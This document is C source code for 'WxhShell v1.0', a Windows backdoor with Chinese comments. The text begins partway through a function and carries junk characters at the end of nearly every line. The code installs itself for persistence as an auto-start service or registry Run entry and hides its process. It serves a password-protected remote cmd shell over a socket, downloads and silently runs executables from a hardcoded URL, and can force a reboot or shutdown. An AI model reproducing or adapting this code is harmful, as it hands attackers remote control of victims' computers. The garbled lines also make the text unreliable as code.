    if(Boot(SHUTDOWN)) e9 @{[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NL>Trv5  
    else { ^)I}#  
    closesocket(wsh); G;iH.rCH  
    ExitThread(0); TET=>6  
    } WG@3+R>{  
    break; MnZljB  
    } o ABrhK  
  // 获取shell _)~1'tCs}h  
  case 's': { K *{RGE  
    CmdShell(wsh); I>JE\## ^n  
    closesocket(wsh); rsLkH&aM  
    ExitThread(0); PH%'^YAl7  
    break; #ACT&J  
  } <\fA}b  
  // 退出 ?|/K(}  
  case 'x': { dQZdL4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /e[m;+9^&  
    CloseIt(wsh); HA,8O [jon  
    break; ]jC{o,?s  
    } h#KSKKNW  
  // 离开 bmK  
  case 'q': { 1#%H!GKvTU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ot[ZFF\  
    closesocket(wsh); AIY 1sSK  
    WSACleanup(); c*.  
    exit(1); LT o5v  
    break; F8dr-"G  
        } 8>W52~^fU  
  } jex\5  
  } WW{_D  
'*65j  
  // 提示信息 dKCl#~LAI'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y<w_>O  
} uR{)%udu  
  } :aomDK*  
i{TPf1OY`M  
  return; R`E:`t4G  
} -j]c(Q MA]  
`B4Ilh"d  
// shell模块句柄 ~3M8"}X;L  
int CmdShell(SOCKET sock) {6GX ?aw'  
{ az:}RE3o  
STARTUPINFO si; 1 :$#a  
ZeroMemory(&si,sizeof(si)); )^AZmUYZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \8!CKnfs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]' [:QGr  
PROCESS_INFORMATION ProcessInfo; Sn4xv2/  
char cmdline[]="cmd"; Knqv|jJVx1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JVkuSIR>  
  return 0; m$^5{qpg  
} y0(.6HI  
G4*&9Wo  
// 自身启动模式 0C> _aj  
int StartFromService(void) utuWFAGn A  
{ (lS[a  
typedef struct ZD'mwj+K  
{ `h'l"3l  
  DWORD ExitStatus; )^ZC'[93  
  DWORD PebBaseAddress; H v/5)  
  DWORD AffinityMask; fs;\_E[)  
  DWORD BasePriority; KpLaQb  
  ULONG UniqueProcessId; q[W6I9  
  ULONG InheritedFromUniqueProcessId; Khi;2{`  
}   PROCESS_BASIC_INFORMATION; m(MQ  
ar\|D\0V  
PROCNTQSIP NtQueryInformationProcess; d/j?.\  
>'W,8F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R:&y@/JY8[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]xMZo){[|  
z9 Ch %A{  
  HANDLE             hProcess; ;`LG WT-<F  
  PROCESS_BASIC_INFORMATION pbi; ,$ /Ld76U  
5I1YB+$}e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nRB3VsL  
  if(NULL == hInst ) return 0;  R*2N\2  
JxwKTFU'3O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !J<Xel {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )1B? <4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aaCRZKr  
\V!{z;.fA  
  if (!NtQueryInformationProcess) return 0; 8.. |-<w  
(}6\_k[}m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MnqT?Cc4$j  
  if(!hProcess) return 0; _q#pEv  
EjFpQ|-L|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vm\zLWNB  
ukEJD3i  
  CloseHandle(hProcess); @(35I  
r>ed/<_>m;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9v`sSTlSd  
if(hProcess==NULL) return 0; <(@S;?ZEW  
 8Cp@k=  
HMODULE hMod; Z\`SDC  
char procName[255]; |yO%w#  
unsigned long cbNeeded; /eH37H  
B E8_.>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4]tg!ks  
og35Vs0  
  CloseHandle(hProcess); B-w`mcqp$  
u9KT_` )  
if(strstr(procName,"services")) return 1; // 以服务启动 '_4apyq|  
_,60pr3D'  
  return 0; // 注册表启动 /huh}&NNu  
} FCEmg0qdjD  
"Y L^j~A  
// 主模块 IMbF]6%p(  
int StartWxhshell(LPSTR lpCmdLine) 5o 5DG  
{ =cS5f#0  
  SOCKET wsl; JD0s0>q_  
BOOL val=TRUE; aV|V C $  
  int port=0; cL*oO@I&_  
  struct sockaddr_in door; R/"-r^j  
;f[##=tm  
  if(wscfg.ws_autoins) Install(); 3Fn}nek  
hx&fV#m  
port=atoi(lpCmdLine); #`gX(C>  
~K#92  
if(port<=0) port=wscfg.ws_port; R,78}7B  
syg{qtBz^  
  WSADATA data; 3e^0W_>6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0(Y,Q(JTo&  
= FV12(U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V6[jhdb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %La7);SeY  
  door.sin_family = AF_INET; 7glf?oE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6M7GPHah  
  door.sin_port = htons(port); 0n6eWwY  
R[l`# I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  w (RRu~J  
closesocket(wsl); TO5y.M|7  
return 1; ibZ[U p?  
} \8<[P(!3  
2HBey  
  if(listen(wsl,2) == INVALID_SOCKET) { aW dI  
closesocket(wsl); lJ=EP.T  
return 1; /cx'(AT  
} u9v,B$ S  
  Wxhshell(wsl); zLe(#8G  
  WSACleanup(); `3ha~+Goo!  
9-{+U,3)  
return 0; d9S?dx  
w=(dJ(7gu  
} ;`pIq-=  
h_P  
// 以NT服务方式启动 HLqN=vE6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +,YK}?e  
{ NY<qoV  
DWORD   status = 0; ktynIN  
  DWORD   specificError = 0xfffffff; ca3zY|Oo  
BaI-ve  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oKGF'y?A>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ru#pJb(R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tzd !r7  
  serviceStatus.dwWin32ExitCode     = 0; Q.eD:@%iE  
  serviceStatus.dwServiceSpecificExitCode = 0; 8(Ptse  ,  
  serviceStatus.dwCheckPoint       = 0; >gL&a#<S  
  serviceStatus.dwWaitHint       = 0; .!L{yU,  
 "O9n|B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r`sKe &  
  if (hServiceStatusHandle==0) return; PR!0=E*}  
$PRd'YdL/  
status = GetLastError(); Zy9IRZe4U  
  if (status!=NO_ERROR) /*fx`0mY)  
{ G)NqIur*Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nM &a2Z,T  
    serviceStatus.dwCheckPoint       = 0; e<=Nd,v4;  
    serviceStatus.dwWaitHint       = 0; g|| q 3  
    serviceStatus.dwWin32ExitCode     = status; cE`qfz  
    serviceStatus.dwServiceSpecificExitCode = specificError; %7`eT^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {na>)qzKP  
    return; VhLfSN>W  
  } q] pHD})O  
@|"K"j#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n+&8Uk  
  serviceStatus.dwCheckPoint       = 0; X=f%!  
  serviceStatus.dwWaitHint       = 0; XY6Sm{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QR(;a:  
} hP WP6;Z  
S2|pn\0V  
// 处理NT服务事件,比如:启动、停止 V\L%*6O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &$2d=q8mh  
{ jPz1W4pk  
switch(fdwControl) >#&25,Q  
{ N.Q}.(N0  
case SERVICE_CONTROL_STOP: seAPVzWUU  
  serviceStatus.dwWin32ExitCode = 0; NQuqM`LSQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j~.tyxOq#  
  serviceStatus.dwCheckPoint   = 0; 0S>L0qp  
  serviceStatus.dwWaitHint     = 0; J,:;\Xhl  
  { CF-tod  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l?_Fy_fBt  
  } rrEf<A}  
  return; 8EJP~bt  
case SERVICE_CONTROL_PAUSE: |%|Vlu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *'H\`@L  
  break; tN)t`1_j  
case SERVICE_CONTROL_CONTINUE: ^+d]'$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tK uJ &I~  
  break; ~@Bw(!  
case SERVICE_CONTROL_INTERROGATE: ;<T,W[3J  
  break; Mr4,?Z&`-d  
}; =vF!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Ba]Zo Z  
} f>Ua7!b  
P{ %Urv{U  
// 标准应用程序主函数 ^^!G{ *F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :eL[nyQr  
{ U}Puq5[ ?  
pZ*%zt]-a  
// 获取操作系统版本 h:G>w`X  
OsIsNt=GetOsVer(); >L "+8N6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z 1wtOL  
3Ur_?PM+C  
  // 从命令行安装 j@+$lU*r  
  if(strpbrk(lpCmdLine,"iI")) Install(); GB}=  
dP_bFUzg  
  // 下载执行文件 ,gG RCp  
if(wscfg.ws_downexe) { pJ1\@G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /+`%u&<  
  WinExec(wscfg.ws_filenam,SW_HIDE); .)bNi*&  
} _4nm h0q4  
$'eY-U8q  
if(!OsIsNt) { -w"lW7  
// 如果时win9x,隐藏进程并且设置为注册表启动 :r "G Z  
HideProc(); ;-"q;&1e  
StartWxhshell(lpCmdLine); [lSQMoi3  
} fdwP@6eh  
else +G"YQq'b  
  if(StartFromService()) |w#~v%w  
  // 以服务方式启动 1k)pJzsc  
  StartServiceCtrlDispatcher(DispatchTable); bd}[X'4d  
else :HrFbq  
  // 普通方式启动 &\cS{35  
  StartWxhshell(lpCmdLine); /joY? T  
nnT#S  
return 0; +%klS `_  
} ,g0t&jITo  
Np$&8v+en  
<z#Fj`2{  
-L6CEe  
=========================================== T2rBH]5  
iV#A-9  
[\h?mlG?  
PP!-*~F0Jr  
A X1!<K  
?fC9)s  
" d8 Jf3Mo  
Wuk8&P3  
#include <stdio.h> 0m> 8  
#include <string.h> ]i0=3H2  
#include <windows.h> U~?mW,iRL  
#include <winsock2.h> 6=,zkU*i ^  
#include <winsvc.h> -$g~,dIwj  
#include <urlmon.h> #6D>e~>n  
9v-Y*\!w.  
#pragma comment (lib, "Ws2_32.lib") /~;!Ew|q  
#pragma comment (lib, "urlmon.lib") kkb+qo  
J}8p}8eF,  
#define MAX_USER   100 // 最大客户端连接数 a 8Xwz@ M  
#define BUF_SOCK   200 // sock buffer 1(>2tEjYT  
#define KEY_BUFF   255 // 输入 buffer ;;Z'd@  
&&LB0vH!J  
#define REBOOT     0   // 重启 ir{ 4k  
#define SHUTDOWN   1   // 关机 H7Z`aQC  
{ 29aNm  
#define DEF_PORT   5000 // 监听端口 /#@tv~Z^  
tk h *su  
#define REG_LEN     16   // 注册表键长度 q I~*G3  
#define SVC_LEN     80   // NT服务名长度 yoF*yUls^E  
sSGXd=":  
// 从dll定义API x6!Q''f7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A:Gd F-;[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9c,/490Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =23@"ji@D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); olxxs(  
ln8NcAEx  
// wxhshell配置信息 P*|=Z>%[0  
struct WSCFG { , .;0xyc  
  int ws_port;         // 监听端口 I"3C/ pU2  
  char ws_passstr[REG_LEN]; // 口令 6H  U*,  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZADMtsk  
  char ws_regname[REG_LEN]; // 注册表键名 ZS]Z0iZv9  
  char ws_svcname[REG_LEN]; // 服务名 a:HN#P)12  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mDbTOtD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -gba&B+D"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VEI ct{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M1#CB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [ @"6:tTU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v_/<f&r  
nIfAG^?|*  
}; > 3(,s^  
$^?VyHXvY  
// default Wxhshell configuration whHuV*K}  
struct WSCFG wscfg={DEF_PORT, q%$p56\?3  
    "xuhuanlingzhe", =GF=_Ac  
    1, Y[}A4`  
    "Wxhshell", * O?Yp%5NH  
    "Wxhshell", Q#qfuwz  
            "WxhShell Service", u'_}4qhCC;  
    "Wrsky Windows CmdShell Service", }Kp<w,  
    "Please Input Your Password: ", GQA\JYw|oY  
  1, rrj.]^E_~  
  "http://www.wrsky.com/wxhshell.exe", m0v .[61  
  "Wxhshell.exe" M | "'`zc  
    }; q6nRk~  
1%N*GJlwJ  
// 消息定义模块 'OP0#`6`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4Nt4(3Kf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g%[:wjV;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /w5*R5B{  
char *msg_ws_ext="\n\rExit."; Qb/:E}h]$  
char *msg_ws_end="\n\rQuit."; 8uH8)  
char *msg_ws_boot="\n\rReboot..."; T=M##`jP%  
char *msg_ws_poff="\n\rShutdown..."; CZeZk  
char *msg_ws_down="\n\rSave to "; =4SXntU!e  
9609  
char *msg_ws_err="\n\rErr!"; x`@`y7(  
char *msg_ws_ok="\n\rOK!"; $)o0{HsL+  
Mz2TwU_  
char ExeFile[MAX_PATH]; JJbd h \  
int nUser = 0; g.hYhg'KUh  
HANDLE handles[MAX_USER]; {GnZ@Q:F  
int OsIsNt; M")/6PH8  
;l @lA)i  
SERVICE_STATUS       serviceStatus; ivq(eKy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6z6\xkr  
pXN'vP  
// 函数声明 ?H@<8Ra=3  
int Install(void); s9nPxC&A  
int Uninstall(void); 2Zuo).2a.  
int DownloadFile(char *sURL, SOCKET wsh); '#LzQ6Pn  
int Boot(int flag); FG{les+:  
void HideProc(void); QdQ1+*/+U  
int GetOsVer(void); Y.Z:H!P);$  
int Wxhshell(SOCKET wsl); mS![J69(  
void TalkWithClient(void *cs); U 887@-!3  
int CmdShell(SOCKET sock); 'xkl|P>=],  
int StartFromService(void); 7f ub^'_  
int StartWxhshell(LPSTR lpCmdLine); =IQ}Y_xr  
BYM6cp+S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {9V.l.Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O]@#53)Tz  
d *gv.mE  
// 数据结构和表定义 <n#X~}i)  
SERVICE_TABLE_ENTRY DispatchTable[] = vVa|E# [  
{ 5~IdWwG*w  
{wscfg.ws_svcname, NTServiceMain}, m<>BxX  
{NULL, NULL} P,'%$DLDg  
}; _\tv ${  
(,QWK08  
// 自我安装 !\BZ_guz  
int Install(void) YJ"D"QD  
{ JVy|SA&R  
  char svExeFile[MAX_PATH]; 0<~~0US  
  HKEY key; ?-mOAHW0q  
  strcpy(svExeFile,ExeFile); \ DZ.#=d  
MSvZ3[5Io  
// 如果是win9x系统,修改注册表设为自启动 s*yl& El/  
if(!OsIsNt) { +#BOWz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ `Ozw^~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t&{;6MiE  
  RegCloseKey(key); 1a{r1([)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B^P&+,\[}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &*+$38XE^  
  RegCloseKey(key); f ?k0(rl  
  return 0; h L [eA  
    } W>d)(  
  } OmBz'sp:  
} o|z@h][(l(  
else { AK&>3D  
|w{Qwf!2  
// 如果是NT以上系统,安装为系统服务 MAFdJ +n#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,7)hrA$(  
if (schSCManager!=0) Zc1x"j  
{ si6CWsb_f  
  SC_HANDLE schService = CreateService yFDeY PZP  
  ( Z)E)-2U$@  
  schSCManager, ,jis@]:  
  wscfg.ws_svcname, wT" :  
  wscfg.ws_svcdisp, a!:N C  
  SERVICE_ALL_ACCESS, V)/J2-w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,/b!Xm:  
  SERVICE_AUTO_START, qq&U)-`  
  SERVICE_ERROR_NORMAL, H@xS<=:lM  
  svExeFile, lRg?||1ik  
  NULL, eZT8gKbjJ)  
  NULL, 1a{3k#}  
  NULL, &Z]}rn  
  NULL, Z@+nkTJ9&t  
  NULL /v5A)A$7  
  ); 8ex;g^e  
  if (schService!=0) NC-K`)  
  { _`\!+qGq  
  CloseServiceHandle(schService); YWH>tt 9  
  CloseServiceHandle(schSCManager); ;NRh0)%|o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [C6ba{9 B  
  strcat(svExeFile,wscfg.ws_svcname); n Ab~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?}s;,_GH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \/3(>g?4  
  RegCloseKey(key); 0x-g0]  
  return 0; TxG@#" ^g}  
    } e~lFjr]  
  } }BlyEcw'aN  
  CloseServiceHandle(schSCManager); r4 *H96l  
} `K.B`  
} (Fzy8 s  
Q NMZR  
return 1; <>\|hno}  
} `Fr ,,Q81\  
-GPBX?  
// 自我卸载 iG6]Pr|;e  
int Uninstall(void) {HEWU<5  
{ R~oJ-} iYX  
  HKEY key; IXa~,a H71  
*2a"2o  
if(!OsIsNt) { l6HtZ(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ekyCZ8iai  
  RegDeleteValue(key,wscfg.ws_regname); 3i!a\N4 K  
  RegCloseKey(key); `X@\Zv=}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d|NW&PG  
  RegDeleteValue(key,wscfg.ws_regname); Pqya%j  
  RegCloseKey(key); 'D5J5+.z  
  return 0; :zKW[sF  
  }  1}=D  
} T"Y#u  
} w CLniCt  
else { )Ac,F6w  
+S(# 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3/n?g7B  
if (schSCManager!=0) ?Xypn#OPt  
{ Y`ip. Nx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bzwll  
  if (schService!=0) /C!~v!;e  
  { kb2C 9<  
  if(DeleteService(schService)!=0) { c%doNY9Q  
  CloseServiceHandle(schService); ^vd$j-kjTP  
  CloseServiceHandle(schSCManager); LvG$J*  
  return 0; % E1r{`p  
  } Ly2,*\7  
  CloseServiceHandle(schService); Y0,{fw<  
  } 1sj7]G]`k  
  CloseServiceHandle(schSCManager); *b) (-#w3  
} l.pxDMY  
} ~wW]ntZm  
2Cp4aTGv#  
return 1; 3pWav 1"  
} Vp]7n!g4l  
+-'F]?DN'  
// 从指定url下载文件 R|qrK  
int DownloadFile(char *sURL, SOCKET wsh) [m:cO6DM,  
{ _1gNU]"  
  HRESULT hr; WMtFXkf6"  
char seps[]= "/"; C:Rs~@tl  
char *token; I20~bW  
char *file; 1M??@@X  
char myURL[MAX_PATH]; G)< B7-72;  
char myFILE[MAX_PATH]; Gxe)5,G  
BGibBF^  
strcpy(myURL,sURL); H I|a88   
  token=strtok(myURL,seps); a8T9=KY^  
  while(token!=NULL) cOP'ql{"  
  { e#HPU  
    file=token; =A6*;T"W  
  token=strtok(NULL,seps); md{nHX&  
  } K@1gK<,a  
S&UP;oc  
GetCurrentDirectory(MAX_PATH,myFILE); _oc6=Z  
strcat(myFILE, "\\"); q&@s/k  
strcat(myFILE, file); SzpUCr"  
  send(wsh,myFILE,strlen(myFILE),0); &{8:XJe*,%  
send(wsh,"...",3,0); a%`Yz"<lQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^x O](,H  
  if(hr==S_OK) Y[7prjd  
return 0; H[KX xNYZ_  
else tP|/Q 5s  
return 1; Jp"29 )w  
Z]b;%:>=  
} .c]>*/(+  
)Q`Ycz-  
// 系统电源模块 =a,qRO  
int Boot(int flag) x]wi&  
{ `e'wW V  
  HANDLE hToken; FA,n>  
  TOKEN_PRIVILEGES tkp; o$L%t@   
|E6_TZ#=  
  if(OsIsNt) { e: Sd#H!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JR `$t~0t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xwD`R *  
    tkp.PrivilegeCount = 1; ir.RO7f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cL#-vW<s3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *RS/`a;,  
if(flag==REBOOT) { Fya*[)HBo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A;rk4)lij  
  return 0; Rf4K Rhi  
} 9RlJf=Z#H  
else { afX|R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ((]i}s0S  
  return 0; [(*Eg!?W=  
} Y(6ev o&IR  
  } E}9wzPs  
  else { mF@7;dpr  
if(flag==REBOOT) { hA 5p'a+K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _(J#RH  
  return 0; Y({ R\W|  
} k#pO+[ x  
else { Mu/(Xp62  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :u9'ZHkZ  
  return 0; DQ+6VPc^o  
} \l(J6Tu  
} 8zeeC eIU  
P0>2}/;o  
return 1; +:^l|6%}  
} 'v<v6vs  
tUH?N/qn  
// win9x进程隐藏模块 T=YVG@fm?  
void HideProc(void) '9u?lA^9$  
{ jA9uB.I,"b  
AcuZ? LYzK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,(q] $eOZ  
  if ( hKernel != NULL ) grE(8M  
  { 0#TL$?=|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sTP\}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8?LT*>!  
    FreeLibrary(hKernel); 2Pm}wD^`  
  } HUjX[w8  
1LS1 ZY  
return; f$^wu~  
} qZF&^pCF}  
b%MZfaU  
// 获取操作系统版本 6HBDs:   
int GetOsVer(void) 1A'eH:$  
{ g(i6Uj~)  
  OSVERSIONINFO winfo; g|uyQhsg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !D['}%  
  GetVersionEx(&winfo); #%QHb,lhl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G?@W;o)  
  return 1; \k=dqWBr7  
  else W2rd [W  
  return 0; LQk^l`  
} LTS{[(%  
&Cb,C+q  
// 客户端句柄模块 &1<[@:;  
int Wxhshell(SOCKET wsl) >x*[izr/K  
{ 9soEHG=P  
  SOCKET wsh; yfV]f LZ  
  struct sockaddr_in client; V/H+9+B7Im  
  DWORD myID; E0RqY3  
{Ni]S$7  
  while(nUser<MAX_USER) v|~=rvXFC  
{ T1$p%yQH  
  int nSize=sizeof(client); (" :Dz_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `Gv\"|Gn  
  if(wsh==INVALID_SOCKET) return 1; N9|J\;fzT  
.?s jr4   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o@gceZuk  
if(handles[nUser]==0) n[e C  
  closesocket(wsh); ynM:]*~K  
else ./;uhj  
  nUser++; 94&t0j_  
  } .F$}a%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U9T}iI  
 'V^M+ng  
  return 0; tf7HhOCYX  
} Gn4b*Y&M]3  
(N&i4O-I  
// 关闭 socket py7Zh%k  
void CloseIt(SOCKET wsh) w( SY  
{ A^M]vk%dg  
closesocket(wsh); bv h#Q_  
nUser--; }v}F8}4  
ExitThread(0); ``< #F3  
} !%M,x~H  
}0\SNpVN  
// 客户端请求句柄 xdbzp U  
void TalkWithClient(void *cs) '.z7)n  
{ @2. :fK  
MzUKp"  
  SOCKET wsh=(SOCKET)cs; x[};x;[ZE  
  char pwd[SVC_LEN]; Qq.$! $  
  char cmd[KEY_BUFF]; #tA9`!  
char chr[1]; 5ZkR3/h e  
int i,j; >}F$6KM  
sXEIC#rq  
  while (nUser < MAX_USER) { OEl;R7aOB&  
?xUl_  
if(wscfg.ws_passstr) { )t+pwh!8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U[3w9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =(hBgNH  
  //ZeroMemory(pwd,KEY_BUFF); ,nL~?h-Zh  
      i=0; j[i*;0) |  
  while(i<SVC_LEN) { p5E okh  
!yj1X Ar  
  // 设置超时  ij:a+T  
  fd_set FdRead; `q]' ^EzJ  
  struct timeval TimeOut; @mZK[*Ak<*  
  FD_ZERO(&FdRead); nI?*[y}  
  FD_SET(wsh,&FdRead); @d{}M)6\!  
  TimeOut.tv_sec=8; *LhwIY  
  TimeOut.tv_usec=0; 1 Q FsT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Up75eT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RQWUO^&e^  
O,),0zcYF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MOB4t|  
  pwd=chr[0]; ]\K?%z  
  if(chr[0]==0xd || chr[0]==0xa) { l=9D!6 4  
  pwd=0; tH;9"z# ~  
  break; %8I^&~E1  
  } G"&$7!6[Y  
  i++; H +I,c1sF  
    } 9~j"6wS  
i_m& qy<v  
  // 如果是非法用户,关闭 socket V0m1>{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w uY-f4  
} :_i1gY)  
5P #._Em  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T_2'=7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3(J>aQZuI  
vcy1itY  
while(1) { 5!9y nIC+>  
MHWc~@R  
  ZeroMemory(cmd,KEY_BUFF); OQ2G2>p  
gNxv.6Pp=  
      // 自动支持客户端 telnet标准   >CKa?N;  
  j=0; 5K9W5hA:D  
  while(j<KEY_BUFF) { (9( xJ)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %P1zb7:8  
  cmd[j]=chr[0]; f 5bX,e)!  
  if(chr[0]==0xa || chr[0]==0xd) { QE"$Lc)  
  cmd[j]=0; :| k!hG  
  break; +7OE,RoQ  
  } W:n\,P  
  j++; ;C o"bP's  
    } n%;qIKnIq\  
o7+<sL  
  // 下载文件 +,"[0RH  
  if(strstr(cmd,"http://")) { J6EzD\.Y)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =aj|auu  
  if(DownloadFile(cmd,wsh)) +e>G V61  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  >h2qam  
  else "K>!+<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9{nU\am!\  
  } (:~_#BA  
  else { B YB9M  
o(v`  
    switch(cmd[0]) { Z{(Gib~{N  
  !^L}LtqHI  
  // 帮助 as 3uz  
